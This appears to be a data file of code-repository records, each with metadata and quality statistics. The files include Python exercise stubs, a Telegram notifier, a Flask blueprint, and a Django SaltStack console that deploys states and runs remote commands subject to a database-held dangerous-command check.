9b8d391ce5fcbd12a654aba1c62a746ddb52a42d
[ "MIT" ]
null
null
null
codes/5/demo101.py
BigShuang/python-introductory-exercises
9b8d391ce5fcbd12a654aba1c62a746ddb52a42d
[ "MIT" ]
null
null
null
codes/5/demo101.py
BigShuang/python-introductory-exercises
9b8d391ce5fcbd12a654aba1c62a746ddb52a42d
[ "MIT" ]
null
null
null
def read_fruit_price(fruit_file): # 读取文本文件,得到价格信息 return {} def buy_fruit(fruit_prices, balance, bought): # 尝试购买水果,购买成功则扣费,不成功不扣费 # 返回新的余额 return balance def list_bought(bought): # 罗列已购买的水果信息 pass def recharge(balance): # 充值,返回新的余额 return balance def main(fruit_file, balance): # 主函数,展示主菜单与处理主要命令 pass
14.708333
45
0.674221
43
353
5.372093
0.55814
0.077922
0.164502
0.190476
0
0
0
0
0
0
0
0
0.23796
353
24
46
14.708333
0.858736
0.226629
0
0.4
0
0
0
0
0
0
0
0
0
1
0.5
false
0.2
0
0.3
0.8
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
1
0
1
1
0
0
5
ba1a19c7ce317b7cc8669d01d201a6c9a4f64f52
776
py
Python
avaloq/avaloq_app/fakesystem.py
Tankiolegend/AvaloqCodingWebsite
4713cb298d0ff151930442c9a7fde65bcff14bc3
[ "MIT" ]
null
null
null
avaloq/avaloq_app/fakesystem.py
Tankiolegend/AvaloqCodingWebsite
4713cb298d0ff151930442c9a7fde65bcff14bc3
[ "MIT" ]
null
null
null
avaloq/avaloq_app/fakesystem.py
Tankiolegend/AvaloqCodingWebsite
4713cb298d0ff151930442c9a7fde65bcff14bc3
[ "MIT" ]
null
null
null
from avaloq_app.langs import Java, Python, JavaScript LANGS = {'java': Java(), 'python': Python(), 'javacript': JavaScript()} class TestSystem: def __init__(self): pass @staticmethod def get_outputs(lang, source_code, test_inputs): return [('OK', '25\n', 'random input'), ('CE', '', 'random input 2')] @staticmethod def get_verdicts(lang, source_code, tests): return {"tasks/test_cases/1/sample_50": ["WA", "not 50"], "tasks/test_cases/1/sample_100": ["WA", "not 100"], "tasks/test_cases/1/1000": ["WA", "not 1000"], "tasks/test_cases/1/100000": ["WA", "not 1 moc nul"], "tasks/test_cases/1/sample_1000": ["WA", "not 1000"], "tasks/test_cases/1/sample_10": ["WA", "not 10"]}
38.8
117
0.594072
103
776
4.281553
0.446602
0.122449
0.190476
0.204082
0.283447
0.126984
0.126984
0.126984
0
0
0
0.075534
0.215206
776
19
118
40.842105
0.648604
0
0
0.142857
0
0
0.35567
0.210052
0
0
0
0
0
1
0.214286
false
0.071429
0.071429
0.142857
0.5
0
0
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
1
0
1
0
0
0
5
e858e012be3376912fe2b00490fdd52cf237ab24
184
py
Python
tests/test.py
trstovall/cuda_exts
cea28db9430d4ce3b671ced3ad8ab7b147e2c5f8
[ "Unlicense" ]
null
null
null
tests/test.py
trstovall/cuda_exts
cea28db9430d4ce3b671ced3ad8ab7b147e2c5f8
[ "Unlicense" ]
null
null
null
tests/test.py
trstovall/cuda_exts
cea28db9430d4ce3b671ced3ad8ab7b147e2c5f8
[ "Unlicense" ]
null
null
null
def test(): import vector_add import numpy as np print(vector_add.vector_add(np.array([1., 2., 3.]), np.array([2., 3., 4.]))) if __name__ == '__main__': exit(test())
20.444444
80
0.592391
29
184
3.37931
0.62069
0.27551
0
0
0
0
0
0
0
0
0
0.040816
0.201087
184
8
81
23
0.62585
0
0
0
0
0
0.043716
0
0
0
0
0
0
1
0.166667
true
0
0.333333
0
0.5
0.166667
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
5
e87e07592fc64b58cb19fa578356af6262edbe3c
163
py
Python
lib/notification.py
Junyong-Suh/telegram-bot
77af69cb5f2c9d6179387124824e4a4d8aa0e456
[ "MIT" ]
null
null
null
lib/notification.py
Junyong-Suh/telegram-bot
77af69cb5f2c9d6179387124824e4a4d8aa0e456
[ "MIT" ]
null
null
null
lib/notification.py
Junyong-Suh/telegram-bot
77af69cb5f2c9d6179387124824e4a4d8aa0e456
[ "MIT" ]
null
null
null
import config from lib import telegram # notify to all subscribers def to_subscribers(msg): telegram.notify_on_telegram(config.TELEGRAM_IDS_SUBSCRIBER, msg)
20.375
68
0.815951
23
163
5.565217
0.608696
0.21875
0
0
0
0
0
0
0
0
0
0
0.128834
163
7
69
23.285714
0.901408
0.153374
0
0
0
0
0
0
0
0
0
0
0
1
0.25
false
0
0.5
0
0.75
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
1
0
0
0
0
5
e8a270174a4eba53e8ef61cf7e30173de70a65f1
155
py
Python
dataclasses_serialization/serializer_base/errors.py
blfoster/python-dataclasses-serialization
1a2d1fc15ca1800c2b4953fe5cb2557f37d1475d
[ "MIT" ]
19
2019-04-15T15:57:20.000Z
2021-07-09T07:01:12.000Z
dataclasses_serialization/serializer_base/errors.py
blfoster/python-dataclasses-serialization
1a2d1fc15ca1800c2b4953fe5cb2557f37d1475d
[ "MIT" ]
14
2019-08-01T13:03:53.000Z
2021-04-20T13:26:54.000Z
dataclasses_serialization/serializer_base/errors.py
blfoster/python-dataclasses-serialization
1a2d1fc15ca1800c2b4953fe5cb2557f37d1475d
[ "MIT" ]
11
2019-06-13T21:38:55.000Z
2022-02-28T08:53:20.000Z
__all__ = ["SerializationError", "DeserializationError"] class SerializationError(TypeError): pass class DeserializationError(TypeError): pass
15.5
56
0.767742
11
155
10.454545
0.545455
0.226087
0
0
0
0
0
0
0
0
0
0
0.141935
155
9
57
17.222222
0.864662
0
0
0.4
0
0
0.245161
0
0
0
0
0
0
1
0
false
0.4
0
0
0.4
0
1
0
1
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
5
fa1249880aa4b0ae9a901aed7317aa7213cb7b34
161
py
Python
flask_aide/aide/__init__.py
by46/flask-aide
c94d738037c3ddc2d2a784267319137756524c24
[ "MIT" ]
null
null
null
flask_aide/aide/__init__.py
by46/flask-aide
c94d738037c3ddc2d2a784267319137756524c24
[ "MIT" ]
null
null
null
flask_aide/aide/__init__.py
by46/flask-aide
c94d738037c3ddc2d2a784267319137756524c24
[ "MIT" ]
null
null
null
from flask import Blueprint bp = Blueprint('aide', __name__, url_prefix='/aide', template_folder='templates', static_folder='static') from . import views
26.833333
106
0.73913
20
161
5.6
0.7
0
0
0
0
0
0
0
0
0
0
0
0.136646
161
5
107
32.2
0.805755
0
0
0
0
0
0.153846
0
0
0
0
0
0
1
0
false
0
0.666667
0
0.666667
0.666667
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
1
0
5
fa306a5375e74796a222fbb90319d7372e97cbaa
13,555
py
Python
saltstack/views.py
judexzhu/dzhops
ffe089a734dd24d88bf433223ab8eb7e2eb099c5
[ "Apache-2.0" ]
202
2015-05-18T08:48:52.000Z
2021-07-16T13:59:07.000Z
saltstack/views.py
judexzhu/dzhops
ffe089a734dd24d88bf433223ab8eb7e2eb099c5
[ "Apache-2.0" ]
19
2015-11-26T03:54:45.000Z
2019-03-02T13:58:24.000Z
saltstack/views.py
Hasal/dzhops
fcd16adc61a941dccdaebee156b545784a5e96a8
[ "Apache-2.0" ]
172
2015-08-07T15:52:17.000Z
2021-07-16T13:59:11.000Z
# -*- coding: utf-8 -*- from django.shortcuts import render from django.http import HttpResponse from django.contrib.auth.decorators import login_required from hostlist.models import DataCenter from record.models import OperateRecord, ReturnRecord from saltstack.models import DangerCommand, DeployModules, ConfigUpdate, CommonOperate from saltstack.saltapi import SaltAPI from saltstack.util import targetToMinionID, datacenterToMinionID, findJob, mysqlReturns, outFormat, manageResult, \ moduleDetection, moduleLock, moduleUnlock from dzhops import settings import logging, json, time, copy # Create your views here. log = logging.getLogger('dzhops') @login_required def deployProgram(request): ''' 部署程序,如部署行情程序、监控程序、账号代理程序等; :param request: 目标Minions或机房、组; 需要执行的sls文件 :return: {'minion ip':{'cont':'format result','status': colour },...} , hostsft:{'sum':'','rsum':'','unre':'','unrestr':'','fa':'','tr':''} ''' user = request.user.username dcen_list = [] sls_list = [] data_centers = {} sls_mod_dict = {} result_dc = DataCenter.objects.all() for dc in result_dc: dcen_list.append(dc.dcen) data_centers[dc.dcen] = dc.dccn dcen_list.sort() result_sls = DeployModules.objects.all() for row_data in result_sls: sls_mod_dict[row_data.slsfile] = row_data.module sls_list.append(row_data.slsfile) sls_list.sort() return render( request, 'salt_deploy.html', { 'dcen_list': dcen_list, 'data_centers': data_centers, 'sls_list': sls_list, 'sls_mod_dict': sls_mod_dict } ) @login_required def updateConfig(request): ''' 配置更新,如行情配置更新、class文件更新、ssh配置更新等; :param request: :return: ''' user = request.user.username dcen_list = [] data_centers = {} sls_list = [] sls_mod_dict = {} result_dc = DataCenter.objects.all() for dc in result_dc: dcen_list.append(dc.dcen) data_centers[dc.dcen] = dc.dccn dcen_list.sort() result_sls = ConfigUpdate.objects.all() for row_data in result_sls: sls_mod_dict[row_data.slsfile] = row_data.module sls_list.append(row_data.slsfile) sls_list.sort() return render( request, 'salt_update.html', { 'dcen_list': dcen_list, 'data_centers': data_centers, 'sls_list': sls_list, 'sls_mod_dict': sls_mod_dict } ) @login_required def routineMaintenance(request): ''' 日常维护操作,比如日志清理、批量重启程序等; :param request: :return: ''' user = request.user.username dcen_list = [] data_centers = {} sls_list = [] sls_mod_dict = {} result_dc = DataCenter.objects.all() for dc in result_dc: dcen_list.append(dc.dcen) data_centers[dc.dcen] = dc.dccn dcen_list.sort() result_sls = CommonOperate.objects.all() for row_data in result_sls: sls_mod_dict[row_data.slsfile] = row_data.module sls_list.append(row_data.slsfile) return render( request, 'salt_routine.html', { 'dcen_list': dcen_list, 'data_centers': data_centers, 'sls_list': sls_list, 'sls_mod_dict': sls_mod_dict } ) @login_required def deployProgramApi(request): ''' 模块部署功能,前端页面提交的数据由该函数处理,执行完毕后返回json格式数据到api; :param request: :return: ''' user = request.user.username salt_module = 'state.sls' get_errors = [] errors = [] result_dict = {} if request.method == 'GET': check_tgt = request.GET.get('tgt', '') check_dc_list = request.GET.get('datacenter', '') check_arg = request.GET.get('sls', '') module_detection = moduleDetection(salt_module, user) if module_detection: get_errors.append(module_detection) log.debug('{0}'.format(str(module_detection))) if not (check_tgt or check_dc_list): get_errors.append(u'需要输入服务器IP或选择机房!') log.error('Did not enter servers ip or choose data center.') if not check_arg: get_errors.append(u'请选择将要进行的操作!') log.error('Not select the file of salt state.') if get_errors: for error in get_errors: errors.append(error.encode('utf-8')) result_dict['errors'] = errors else: tgt = request.GET.get('tgt', '') dc = request.GET.get('datacenter', '') arg = request.GET.get('sls', '') dc_clean = dc.strip(',') log.debug(str(dc_clean)) dc_list = dc_clean.split(',') target_list = tgt.split(',') tgt_mixture_list = copy.deepcopy(dc_list) tgt_mixture_list.extend(target_list) if tgt: minion_id_from_tgt_set = targetToMinionID(tgt) else: minion_id_from_tgt_set = set([]) if dc: log.debug(str(dc_list)) minion_id_from_dc_set = datacenterToMinionID(dc_list) else: minion_id_from_dc_set = set([]) all_minion_id_set = minion_id_from_tgt_set.union(minion_id_from_dc_set) # log.debug('The all target minion id set: {0}'.format(str(all_minion_id_set))) if all_minion_id_set: sapi = SaltAPI( url=settings.SALT_API['url'], username=settings.SALT_API['user'], password=settings.SALT_API['password']) module_lock = moduleLock(salt_module, user) if '*' in tgt_mixture_list: jid = sapi.asyncMasterToMinion('*', salt_module, arg) else: tgt_list_to_str = ','.join(list(all_minion_id_set)) jid = sapi.asyncMasterToMinion(tgt_list_to_str, salt_module, arg) if dc_list: operate_tgt = dc_list[0] elif tgt: operate_tgt = target_list[0] else: operate_tgt = 'unknown' op_time = time.strftime("%Y-%m-%d %H:%M:%S", time.localtime(time.time())) op_user = arg op_tgt = '%s...' % operate_tgt p1 = OperateRecord.objects.create( nowtime=op_time, username=user, user_operate=op_user, simple_tgt=op_tgt, jid=jid) find_job = findJob(all_minion_id_set, jid) result = mysqlReturns(jid) module_unlock = moduleUnlock(salt_module, user) ret, hostfa, hosttr = outFormat(result) # log.debug(str(ret)) recv_ips_list = ret.keys() send_recv_info = manageResult(all_minion_id_set, recv_ips_list) send_recv_info['succeed'] = hosttr send_recv_info['failed'] = hostfa saveRecord = ReturnRecord.objects.create( jid=jid, tgt_total=send_recv_info['send_count'], tgt_ret=send_recv_info['recv_count'], tgt_succ=send_recv_info['succeed'], tgt_fail=send_recv_info['failed'], tgt_unret=send_recv_info['unrecv_count'], tgt_unret_list=send_recv_info['unrecv_strings'] ) result_dict['result'] = ret result_dict['info'] = send_recv_info else: log.info('The all target minion id set is Null.') set_null = u'数据库中没有找到输入的主机,请确认输入是否正确!' result_dict['errors'] = set_null.encode('utf-8') ret_json = json.dumps(result_dict) return HttpResponse(ret_json, content_type='application/json') @login_required def remoteExecute(request): ''' 通过SaltStack cmd.run模块,对Salt minion远程执行命令; :param request: None :return: ''' user = request.user.username dcen_list = [] data_centers = {} result_dc = DataCenter.objects.all() for dc in result_dc: dcen_list.append(dc.dcen) data_centers[dc.dcen] = dc.dccn dcen_list.sort() return render( request, 'salt_execute.html', {'dcen_list': dcen_list, 'data_centers': data_centers} ) @login_required def remoteExecuteApi(request): ''' 远程执行的命令通过JQuery(ajax)提交到这里,处理后返回结果json; :param request: :return: ''' user = request.user.username get_errors = [] errors = [] result_dict = {} danger_cmd_list = [] danger_cmd_data = DangerCommand.objects.filter(status='True') if danger_cmd_data: for i in danger_cmd_data: danger_cmd_list.append(i.command) else: log.debug('The table of DangerCommand is Null.') if request.method == 'GET': check_tgt = request.GET.get('tgt', '') check_dc_list = request.GET.get('datacenter', '') check_arg = request.GET.get('arg', '') module_detection = moduleDetection('cmd.run', user) if module_detection: get_errors.append(module_detection) if not (check_tgt or check_dc_list): get_errors.append(u'需要指定目标主机或目标机房!') if not check_arg: get_errors.append(u'请输入将要执行的命令!') else: if danger_cmd_list: arg_list = check_arg.split(';') for i in arg_list: try: command = i.split()[0] except IndexError, e: log.debug('Command ends with a semicolon, Error info: {0}.'.format(str(e))) continue for j in danger_cmd_list: if j in command: get_errors.append(u'%s 命令危险,不允许使用!' % command) else: log.debug('Databases has not danger command') if get_errors: for error in get_errors: errors.append(error.encode('utf-8')) result_dict['errors'] = errors else: tgt = request.GET.get('tgt', '') dc = request.GET.get('datacenter', '') arg = request.GET.get('arg', '') dc_clean = dc.strip(',') log.debug(str(dc_clean)) dc_list = dc_clean.split(',') target_list = tgt.split(',') tgt_mixture_list = copy.deepcopy(dc_list) tgt_mixture_list.extend(target_list) if tgt: minion_id_from_tgt_set = targetToMinionID(tgt) else: minion_id_from_tgt_set = set([]) if dc: log.debug(str(dc_list)) minion_id_from_dc_set = datacenterToMinionID(dc_list) else: minion_id_from_dc_set = set([]) all_minion_id_set = minion_id_from_tgt_set.union(minion_id_from_dc_set) log.debug('The all target minion id set: {0}'.format(str(all_minion_id_set))) if all_minion_id_set: sapi = SaltAPI( url=settings.SALT_API['url'], username=settings.SALT_API['user'], password=settings.SALT_API['password']) module_lock = moduleLock('cmd.run', user) if '*' in tgt_mixture_list: jid = sapi.asyncMasterToMinion('*', 'cmd.run', arg) else: tgt_list_to_str = ','.join(list(all_minion_id_set)) jid = sapi.asyncMasterToMinion(tgt_list_to_str, 'cmd.run', arg) if dc_list: operate_tgt = dc_list[0] elif tgt: operate_tgt = target_list[0] else: operate_tgt = 'unknown' op_time = time.strftime("%Y-%m-%d %H:%M:%S", time.localtime(time.time())) op_user = arg op_tgt = '%s...' % operate_tgt p1 = OperateRecord.objects.create( nowtime=op_time, username=user, user_operate=op_user, simple_tgt=op_tgt, jid=jid) find_job = findJob(all_minion_id_set, jid) result = mysqlReturns(jid) module_unlock = moduleUnlock('cmd.run', user) ret, hostfa, hosttr = outFormat(result) # log.debug(str(ret)) recv_ips_list = ret.keys() send_recv_info = manageResult(all_minion_id_set, recv_ips_list) saveRecord = ReturnRecord.objects.create( jid=jid, tgt_total=send_recv_info['send_count'], tgt_ret=send_recv_info['recv_count'], tgt_unret=send_recv_info['unrecv_count'], tgt_unret_list=send_recv_info['unrecv_strings'] ) result_dict['result'] = ret result_dict['info'] = send_recv_info else: log.info('The all target minion id set is Null.') set_null = u'数据库中没有找到输入的主机,请确认输入是否正确!' result_dict['errors'] = set_null.encode('utf-8') ret_json = json.dumps(result_dict) return HttpResponse(ret_json, content_type='application/json')
33.469136
116
0.555883
1,521
13,555
4.677844
0.157791
0.031483
0.024736
0.023612
0.726915
0.718201
0.710611
0.699086
0.690935
0.652565
0
0.001783
0.337809
13,555
404
117
33.55198
0.790887
0.012025
0
0.734824
0
0
0.084188
0.003787
0
0
0
0
0
0
null
null
0.00639
0.031949
null
null
0
0
0
0
null
0
0
0
0
1
1
0
0
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
5
fa721445aed571430bc3e119dca879685bd386b8
116
py
Python
raw_sql/backend/accounts/admin.py
PatrickKoss/lecture_ws_2021
9de2f9b9baa2762fef24ea5597b9082b6b740367
[ "MIT" ]
null
null
null
raw_sql/backend/accounts/admin.py
PatrickKoss/lecture_ws_2021
9de2f9b9baa2762fef24ea5597b9082b6b740367
[ "MIT" ]
null
null
null
raw_sql/backend/accounts/admin.py
PatrickKoss/lecture_ws_2021
9de2f9b9baa2762fef24ea5597b9082b6b740367
[ "MIT" ]
null
null
null
"""Admin.""" from django.contrib import admin from accounts.models import Accounts admin.site.register(Accounts)
14.5
36
0.775862
15
116
6
0.6
0.2
0
0
0
0
0
0
0
0
0
0
0.112069
116
7
37
16.571429
0.873786
0.051724
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
0.666667
0
0.666667
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
5
3affd7c04a88bc92990942f002b34dee9eecd4ff
115
py
Python
tests/runbook/roles/secure/main.py
acoomans/prvsn
af6b313c2e779ae4e3a9cdba0b1c3a1f4b4c085e
[ "BSD-2-Clause" ]
null
null
null
tests/runbook/roles/secure/main.py
acoomans/prvsn
af6b313c2e779ae4e3a9cdba0b1c3a1f4b4c085e
[ "BSD-2-Clause" ]
null
null
null
tests/runbook/roles/secure/main.py
acoomans/prvsn
af6b313c2e779ae4e3a9cdba0b1c3a1f4b4c085e
[ "BSD-2-Clause" ]
null
null
null
bash(''' echo "I am secure" ''', secure=True ) bash(''' echo "I am secure but I fail" exit 1 ''', secure=True )
8.214286
29
0.582609
19
115
3.526316
0.526316
0.238806
0.268657
0.328358
0.507463
0
0
0
0
0
0
0.010989
0.208696
115
13
30
8.846154
0.725275
0
0
0.545455
0
0
0.508772
0
0
0
0
0
0
1
0
true
0
0
0
0
0
1
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
5
d71c149f7c9d108c5adb51f79aa5054f5c10cfb3
116
py
Python
python-brasil/estrutura-sequencial/07.py
el-cardu/challenges
836453415e08b04e08d4e10d2f69257052551fa6
[ "Unlicense" ]
null
null
null
python-brasil/estrutura-sequencial/07.py
el-cardu/challenges
836453415e08b04e08d4e10d2f69257052551fa6
[ "Unlicense" ]
null
null
null
python-brasil/estrutura-sequencial/07.py
el-cardu/challenges
836453415e08b04e08d4e10d2f69257052551fa6
[ "Unlicense" ]
null
null
null
def calcula_area(lado): return lado ** 2 if __name__ == '__main__': print(2 * calcula_area(int(input())))
16.571429
41
0.637931
16
116
4
0.75
0.34375
0
0
0
0
0
0
0
0
0
0.021505
0.198276
116
6
42
19.333333
0.666667
0
0
0
0
0
0.068966
0
0
0
0
0
0
1
0.25
false
0
0
0.25
0.5
0.25
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
0
0
0
5
d724acfad4f95e089bc04fcbd0c6357c97488bb9
210
py
Python
March/Day28-Search in Rotated Sorted Array II.py
tayyrov/Daily_Coding_Challenge
9e54a725082530dca1229dfcd973d04975374220
[ "MIT" ]
1
2022-01-01T21:54:45.000Z
2022-01-01T21:54:45.000Z
March/Day28-Search in Rotated Sorted Array II.py
tayyrov/Daily_Coding_Challenge
9e54a725082530dca1229dfcd973d04975374220
[ "MIT" ]
null
null
null
March/Day28-Search in Rotated Sorted Array II.py
tayyrov/Daily_Coding_Challenge
9e54a725082530dca1229dfcd973d04975374220
[ "MIT" ]
null
null
null
""" Question Source:Leetcode Level: Medium Topic: Binary Solver: Tayyrov Date: 28.03.2022 """ from typing import List def search(nums: List[int], target: int) -> bool: return target in nums
15
50
0.666667
29
210
4.827586
0.862069
0
0
0
0
0
0
0
0
0
0
0.04908
0.22381
210
13
51
16.153846
0.809816
0.404762
0
0
0
0
0
0
0
0
0
0
0
1
0.333333
false
0
0.333333
0.333333
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
1
1
1
0
0
5
d72d68365c34f150446558d0f0e12906f251b73e
173
py
Python
organize/actions/__init__.py
noelhx/organize
d3eb2fe9d67e79f2b16b795aa923efcbfb3d9fb3
[ "MIT" ]
1
2020-10-01T05:51:33.000Z
2020-10-01T05:51:33.000Z
organize/actions/__init__.py
davidolrik/organize
b6581531bcdbdb6c0833472b683cbbeaa513f595
[ "MIT" ]
null
null
null
organize/actions/__init__.py
davidolrik/organize
b6581531bcdbdb6c0833472b683cbbeaa513f595
[ "MIT" ]
null
null
null
from .copy import Copy from .echo import Echo from .move import Move from .python import Python from .rename import Rename from .shell import Shell from .trash import Trash
21.625
26
0.797688
28
173
4.928571
0.321429
0
0
0
0
0
0
0
0
0
0
0
0.16185
173
7
27
24.714286
0.951724
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
5
d748317448952c8f2a5e855cc13d7380a5a1665d
92
py
Python
tests/standard/fido2/test_reset.py
niooss-ledger/fido2-tests
669fa9b4197679c10d0ce2e93233e923e5f3b3ef
[ "Apache-2.0", "MIT" ]
7
2020-10-17T00:56:52.000Z
2022-02-02T08:31:09.000Z
tests/standard/fido2/test_reset.py
niooss-ledger/fido2-tests
669fa9b4197679c10d0ce2e93233e923e5f3b3ef
[ "Apache-2.0", "MIT" ]
1
2020-05-14T10:22:53.000Z
2020-05-14T10:22:53.000Z
tests/standard/fido2/test_reset.py
niooss-ledger/fido2-tests
669fa9b4197679c10d0ce2e93233e923e5f3b3ef
[ "Apache-2.0", "MIT" ]
6
2020-02-19T12:19:08.000Z
2022-03-19T18:34:30.000Z
from fido2.ctap import CtapError import tests def test_reset(device): device.reset()
11.5
32
0.75
13
92
5.230769
0.769231
0
0
0
0
0
0
0
0
0
0
0.013158
0.173913
92
7
33
13.142857
0.881579
0
0
0
0
0
0
0
0
0
0
0
0
1
0.25
false
0
0.5
0
0.75
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
1
0
1
0
0
5
d76e7f9492e3ab0bd9d4b9c7c3643856e4579783
122
py
Python
tests/callbacks/__init__.py
zurutech/ashpy
16d53100c943abf4b051b27cfd025df0a6e7c8c9
[ "Apache-2.0" ]
89
2019-07-05T11:57:24.000Z
2021-11-22T04:25:11.000Z
tests/callbacks/__init__.py
zurutech/ashpy
16d53100c943abf4b051b27cfd025df0a6e7c8c9
[ "Apache-2.0" ]
58
2019-07-09T09:59:19.000Z
2021-05-21T15:29:53.000Z
tests/callbacks/__init__.py
zurutech/ashpy
16d53100c943abf4b051b27cfd025df0a6e7c8c9
[ "Apache-2.0" ]
11
2019-07-08T08:39:06.000Z
2021-08-23T12:15:16.000Z
""" Test for callbacks. TODO: test a callback that retrieves a Metric from its Context TODO: Restructure these tests """
17.428571
62
0.754098
18
122
5.111111
0.833333
0
0
0
0
0
0
0
0
0
0
0
0.172131
122
6
63
20.333333
0.910891
0.92623
0
null
0
null
0
0
null
0
0
0.333333
null
1
null
true
0
0
null
null
null
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
1
0
0
0
0
0
0
null
0
0
1
0
0
0
1
0
0
0
0
0
0
5
d77107f9c5280ece5fd253627031b8047afab6c4
216
py
Python
src/apiInteractions.py
Matt-Gleich/Recent-Pinner
994c4799568c33af376332498aaf905929ca8f40
[ "MIT" ]
1
2021-04-21T17:59:48.000Z
2021-04-21T17:59:48.000Z
src/apiInteractions.py
gleich/Recent-Pinner
994c4799568c33af376332498aaf905929ca8f40
[ "MIT" ]
null
null
null
src/apiInteractions.py
gleich/Recent-Pinner
994c4799568c33af376332498aaf905929ca8f40
[ "MIT" ]
null
null
null
from github import Github from file_utils import safe_file_read def auth(): """Authenticates the program with the github api and the wakatime api """ safe_file_read("configs/.secrets.json", "json")
24
73
0.717593
31
216
4.83871
0.612903
0.106667
0.16
0
0
0
0
0
0
0
0
0
0.194444
216
8
74
27
0.862069
0.305556
0
0
0
0
0.179856
0.151079
0
0
0
0
0
1
0.25
true
0
0.5
0
0.75
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
1
0
1
0
1
0
0
5
ad07fd0f8218de345f266414b82f35b0fa7d4709
46
py
Python
muspinsim/input/__init__.py
muon-spectroscopy-computational-project/muspinsim
d9e971edd840ab0c33b143f9b5694bc1b09011d2
[ "MIT" ]
2
2021-02-23T12:34:42.000Z
2021-04-28T09:33:33.000Z
muspinsim/input/__init__.py
muon-spectroscopy-computational-project/muspinsim
d9e971edd840ab0c33b143f9b5694bc1b09011d2
[ "MIT" ]
1
2021-02-02T14:27:43.000Z
2021-02-08T17:32:55.000Z
muspinsim/input/__init__.py
muon-spectroscopy-computational-project/muspinsim
d9e971edd840ab0c33b143f9b5694bc1b09011d2
[ "MIT" ]
1
2021-04-26T14:03:50.000Z
2021-04-26T14:03:50.000Z
from muspinsim.input.input import MuSpinInput
23
45
0.869565
6
46
6.666667
0.833333
0
0
0
0
0
0
0
0
0
0
0
0.086957
46
1
46
46
0.952381
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
5
ad13cd4711a11c12eebc122549b5be1bb4384937
193
py
Python
trec2015/cuttsum/summarizers/__init__.py
kedz/cuttsum
992c21192af03fd2ef863f5ab7d10752f75580fa
[ "Apache-2.0" ]
6
2015-09-10T02:22:21.000Z
2021-10-01T16:36:46.000Z
trec2015/cuttsum/summarizers/__init__.py
kedz/cuttsum
992c21192af03fd2ef863f5ab7d10752f75580fa
[ "Apache-2.0" ]
null
null
null
trec2015/cuttsum/summarizers/__init__.py
kedz/cuttsum
992c21192af03fd2ef863f5ab7d10752f75580fa
[ "Apache-2.0" ]
2
2018-04-04T10:44:32.000Z
2021-10-01T16:37:26.000Z
from cuttsum.summarizers._oracle import (RetrospectiveMonotoneSubmodularOracle, MonotoneSubmodularOracle) __all__ = ["RetrospectiveMonotoneSubmodularOracle", "MonotoneSubmodularOracle",]
38.6
80
0.849741
10
193
15.9
0.8
0.767296
0
0
0
0
0
0
0
0
0
0
0.07772
193
4
81
48.25
0.893258
0
0
0
0
0
0.316062
0.316062
0
0
0
0
0
1
0
false
0
0.333333
0
0.333333
0
1
0
1
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
5
ad2b3686d47c138a95a1aeefb611bacc315ad2a1
76
py
Python
Pyton_curso/matplotlib_graficoxy.py
HigorAnjos/Fundamentos-VI
e0aa3cb37e4c54d24ac7123ea3bd8038196e0edb
[ "MIT" ]
null
null
null
Pyton_curso/matplotlib_graficoxy.py
HigorAnjos/Fundamentos-VI
e0aa3cb37e4c54d24ac7123ea3bd8038196e0edb
[ "MIT" ]
null
null
null
Pyton_curso/matplotlib_graficoxy.py
HigorAnjos/Fundamentos-VI
e0aa3cb37e4c54d24ac7123ea3bd8038196e0edb
[ "MIT" ]
null
null
null
import matplotlib.pyplot as plt plt.plot([1,2,3, 4], [1,2,3,4]) plt.show()
15.2
31
0.644737
17
76
2.882353
0.647059
0.081633
0.122449
0.163265
0
0
0
0
0
0
0
0.119403
0.118421
76
5
32
15.2
0.61194
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
0.333333
0
0.333333
0
1
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
5
ad49fe4ce726515a86538933e73c96d930c38c91
66
py
Python
pddlenv/generators/literals/blocks/__init__.py
harshakokel/pddlenv
773421ecd5df59503153bda7b3e1a6e0dcd30262
